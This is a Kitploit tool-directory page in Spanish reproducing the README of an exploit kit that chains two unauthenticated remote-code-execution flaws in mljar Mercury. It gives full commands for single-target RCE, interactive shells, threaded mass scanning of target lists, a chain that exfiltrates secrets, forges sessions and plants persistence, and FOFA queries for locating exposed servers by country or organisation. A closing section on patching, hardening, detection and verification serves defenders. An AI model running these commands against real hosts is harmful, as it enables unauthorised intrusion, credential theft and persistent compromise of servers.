Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-111058-CVE-2026-111057-mercury-rce — Combo de RCE no autenticado en Mercury: CVE-2026-111058 (kernels) + CVE-2026-111057 (terminals). Por 0xNuts (@ExDev994). Solo para pruebas autorizadas. | Kitploit
Herramientas/GitHubGitHub/exdev994/cve-2026-111058-cve-2026-111057-mercury-rce
ReconocimientoEscáneres de Vulnerabilidades WebMecanismos de PersistenciaAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebExfiltración de DatosPost-Explotación
Pruebas de Penetración
Herramienta de Acceso Remoto
Labs y Práctica
GitHubexdev994/cve-2026-111058-cve-2026-111057-mercury-rce

CVE-2026-111058-CVE-2026-111057-mercury-rce

Combo de RCE no autenticado en Mercury: CVE-2026-111058 (kernels) + CVE-2026-111057 (terminals). Por 0xNuts (@ExDev994). Solo para pruebas autorizadas.

Ver Repositorio
1hace 29 díasAún no revisado
Compartir

CVE-2026-111058+CVE-2026-111057-mercury-rce

Kit de herramientas combinado de RCE no autenticado de Mercury (kernels + terminales).

Kit que combina dos RCE no autenticados en mljar/mercury:

CVEAvisoVector
CVE-2026-111058GHSA-rv4m-xm3f-3ccq/api/kernels + execute_request
CVE-2026-111057GHSA-f8c7-rwf9-fmgmomisión de la lista de bloqueo de /api/terminals

Autor: 0xNuts (ExDev994)

Solo para pruebas autorizadas (laboratorio local / objetivos con permiso por escrito). El uso indebido en sistemas sin autorización es ilegal.

Cómo ejecutar la herramienta

1. Clonar e instalar

# URL repo GitHub memakai `-` (GitHub tidak mengizinkan `+` di nama repo)
git clone https://github.com/ExDev994/CVE-2026-111058-CVE-2026-111057-mercury-rce.git
cd CVE-2026-111058-CVE-2026-111057-mercury-rce
python3 -m venv .venv
source .venv/bin/activate   # Windows: .venv\Scripts\activate
pip install -r requirements.txt

2. Laboratorio local (recomendado para empezar)

python exploit.py --lab

Espera a que Docker termine de compilar, luego:

URLCVE activos
http://localhost:8883CVE-2026-111057 + CVE-2026-111058 (Mercury 3.2.3)
http://localhost:8885solo CVE-2026-111058 (Mercury 3.2.5)

3. Un solo objetivo

# Cek vuln (POST terminals + kernels)
python exploit.py -t http://localhost:8883 -m recon

# PoC RCE (default: kernel / CVE-2026-111058)
python exploit.py -t http://localhost:8883 -m rce

# Shell via terminal (CVE-2026-111057, hanya di 3.2.3 lab)
python exploit.py -t http://localhost:8883 -m rce --sink terminals

4. Escaneo masivo desde archivo

Edita targets.txt (una URL por línea), luego:

python exploit.py -m mass -tf targets.txt -rf results.txt --threads 10

Auto puerto (solo modo mass): si la línea no tiene puerto (p. ej. example.com), la herramienta intenta en orden:

  1. Sin puerto (http://example.com → 80, o https:// → 443)
  2. Puertos Mercury comunes: 8888, 8000, 5000

Se detiene en la primera URL que sea vuln. Las líneas que ya tienen puerto (http://host:8883) no se expanden.

Ejemplo de targets.txt:

# tanpa port → auto-fallback
example.com
mercury.internal

# dengan port → dipakai apa adanya
http://localhost:8883
192.168.1.50:8888

Terminal (verbose): cada puerto que se intenta + estado final por línea de destino:

example.com      [trying...]
example.com:8888 [trying...]
example.com:8000 [trying...]
example.com:5000 [trying...]
example.com      [not vuln]
evil.com:8888    [trying...]
evil.com:8888    [vuln] [uid=0(root) gid=0(root) groups=0(root)]

Archivo results.txt — solo los vulnerables (append):

http://evil.com:8888 [uid=0(root) gid=0(root) groups=0(root)]

5. Cadena completa (laboratorio / pentest con autorización)

python exploit.py -t http://localhost:8883 -m full --out exfil.json --cron

Orden: recon → RCE → exfil secret → intento de forge session → persistencia.

Resumen de flags

FlagFunción
-t / --targetURL de Mercury (http://host:port)
-m / --moderecon, rce, exfil, full, persist, mass
--sinkauto, kernels, terminals
-tfArchivo de lista de objetivos (modo mass)
-rfArchivo de resultados de vuln (modo mass)
-thNúmero de hilos del mass scan
--labdocker compose up en la carpeta lab/

Arquitectura

  1. recon — sondea POST /api/terminals y POST /api/kernels para fingerprint de versión.
  2. RCE — sink principal kernels (stealth), fallback terminals (shell interactivo).
  3. exfil — env, archivos de configuración, candidatos a secret del proceso de Mercury.
  4. session_forge — forge best-effort de cookie estilo Flask a partir del secret encontrado.
  5. persistence — notebook marker, patch del código fuente idle_timeout.py, cron opcional (lab).

El PoC determinista escribe el marker /tmp/PWNED_MERCURY_RCE (ver poc/payloads.py).

Estructura

mercury-combo/
├── exploit.py
├── mercury_combo/    # modul inti
├── lab/              # docker-compose + Dockerfile 3.2.3 / 3.2.5
└── poc/              # payload marker

FOFA / descubrimiento de activos (solo autorizado)

FOFA solo ayuda a encontrar candidatos de exposición — no pruebas de vulnerabilidad. Siempre valida manualmente y respeta el alcance del permiso.

Empieza acotado (branding):

title="Mercury"
body="runmercury" || body="mljar-mercury"

Reforzar (Jupyter + Mercury):

(title="Mercury" || body="mljar") && port="8888" && protocol="http"
header="X-Jupyter-Server-Version" && (body="mercury" || title="Mercury")
body="/api/kernels" && body="mercury" && server="Tornado"

Alcance geográfico / org (ejemplo):

title="Mercury" && country="ID"
body="mljar" && port="8888" && org="Amazon"

Una vez que tengas el host, verifica con este toolkit (-m recon o -m mass en el laboratorio/con autorización), no escanees de forma masiva sin autorización.

Mitigación / cómo solucionarlo (defensores y administradores)

ProblemaCVE / avisoCorrección
Coma faltante en BLOCKED_PATTERNS → /api/terminals pasaGHSA-f8c7-rwf9-fmgmActualizar a ≥ 3.2.4 (commit de parche en v3.2.4). Asegúrate de que /api/terminals esté realmente bloqueado.
/api/kernels sigue pudiendo execute_request sin autenticaciónGHSA-rv4m-xm3f-3ccqLa lista de bloqueo no es suficiente — se requiere obligatoriamente autenticación (token/contraseña de Jupyter) por defecto; no despliegues token='' a internet. Vigila la versión de Mercury > 3.2.5 para el parche oficial.

Lista de verificación de hardening:

  1. Actualizar Mercury a la última versión parcheada disponible.
  2. Exigir autenticación — establecer token/contraseña; desactivar el modo anónimo/sin token en producción.
  3. No exponer el puerto 8888 (o el puerto de Mercury) directamente a internet; colocarlo detrás de una VPN o un proxy inverso con autenticación (OAuth, mTLS, lista de IP permitidas).
  4. Red — firewall de salida/entrada; segmentación de contenedores (usuario no root, sistema de archivos de solo lectura cuando sea posible).
  5. Detección — alertas ante POST /api/kernels + POST /api/terminals desde IP anónimas; picos de WebSocket hacia /api/kernels/*/channels y /terminals/websocket/*.
  6. Incidente — si está expuesto: rotar todos los secretos (DB, claves de API, secreto de sesión), auditar el notebook y el servidor de archivos, reconstruir el contenedor desde una imagen limpia.

Verificación tras el parche:

# Harus 403/401 tanpa kredensial (bukan 201)
curl -i -X POST https://your-host/api/terminals
curl -i -X POST https://your-host/api/kernels -H 'Content-Type: application/json' -d '{"name":"python3"}'

Referencias de avisos

  • GHSA-rv4m-xm3f-3ccq — RCE en kernels
  • GHSA-f8c7-rwf9-fmgm — omisión de la lista de bloqueo de terminales
Descargar herramienta

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    755
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    510
  • 3

    ARTEX

    baarai/artex

    Plataforma de pruebas de penetración autónoma multiagente basada en LLM con agentes planificadores/trabajadores, grafos de activos y de exploración, registro de tráfico MITM y reevaluación de vulnerabilidades.

    415
  • 4

    redforge

    cybersecurity91/redforge

    Kit de herramientas de red team del lado del navegador con 102 herramientas offline para reconocimiento, generación de payloads, ataques de credenciales, criptografía, codificación y elaboración de informes de compromiso.

    343
  • 5

    antifox

    antifox-ai/antifox

    Plataforma de pruebas de penetración autónoma con múltiples agentes de IA que ejecuta reconocimiento, descubrimiento de superficie de ataque, validación de explotación y entrega de informes respaldados por evidencia.

    259
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    El sistema de acción para la ciberseguridad nativa de IA—donde la intención se convierte en ejecución gobernada, la evidencia se convierte en memoria operativa y cada operación mejora la siguiente.

    258

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →